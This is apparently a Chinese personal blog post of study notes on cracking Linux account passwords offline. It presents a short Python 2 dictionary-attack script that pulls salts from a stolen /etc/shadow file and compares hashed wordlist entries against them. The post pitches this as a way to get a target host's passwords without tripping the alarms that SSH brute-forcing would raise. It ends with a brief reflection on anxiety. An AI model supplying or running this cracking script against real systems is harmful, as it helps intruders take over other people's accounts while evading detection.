前言:
这个标题是笔记就可以知道这是我看书然后写的代码,并非原创。
在很多情况下,不能对目标主机进行ssh爆破,会激发报警。
这时,下面的工具就排上用场了。
前提是,你机缘巧合下,拿到目标主机的/etc/shadow 文件
我把自己在写的时候,遇到的问题,记录下来,方便自己也方便大家遇到问题可以少走弯路。
工具准备:
1.任意版本linux,这里是我用的是ubuntu
2.window 版本中 python 并不支持 crypt 但是支持bcryp,想完的可以试试
知识点介绍:
1.crypt加密的时候,会把一段随机字符串作为"盐值",加入算法中加密
而我们都知道,hash加密后,同一个字符串,加密后的密文是一样的
这时,我们拿到目标主机的shadow文件,就可以提取盐值,然后配合字典再
生成密文和shadow对比
2.sudo cat /etc/shadow 看密码口令文件
3.最新的盐值由$6$随机字符串$组成,这么说不准确,那个6只是加密的版本。
但是可以把这段盐值当成随机字符串处理,都一样,遇到了随机应变就好
具体实现:
1.sudo cat /etc/shadow
建议大家用linux,crypt支持unix
把下面文件复制一份 》passwords.txt
image.png
2.准备好自己的字典:

3.具体代码实现:
#! /usr/bin/env python
import crypt
#定义一个提取盐值+生成密文+核对 的函数
def testPass(cryptPass):
#[0:12] 这里是提取盐值 $6$cehishicdm$
salt = cryptPass[0:12]
dictFile = open('dictFile.txt','r')
for word in dictFile.readlines():
word = word.strip('\n')
cryptWord = crypt.crypt(word,salt)
if cryptWord == cryptPass:
print "[+] Found Password:"+word+"\n"
return #return 在这里直接退出def函数
print "[+] Not Found Password"
return
#主函数,主要打开密码文件,传递盐值
def main():
passFile = open('passwords.txt','r')
for line in passFile.readlines(): #这里注意 readlines() 不是readline()
if ":" in line:
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip(' ')
print "[*] Cracking Password For"+user
testPass(cryptPass)
#dictFile.close()
passFile.close()
if __name__ == "__main__":
main()
最好执行结果:

结束语
最近看到一些文章关于焦虑的,其实我在高中就开始焦虑了,但发现自己做了很多无用功。其实,只有自己肯坚持自己所想要坚持和应该坚持的,每天充实一些,我们还是很幸福的,我只会为自己可以做好,而没有做好的而懊悔,就像你会为你没中彩票而懊悔吗?我现在还记得大学老师的一句名言,共勉
网友评论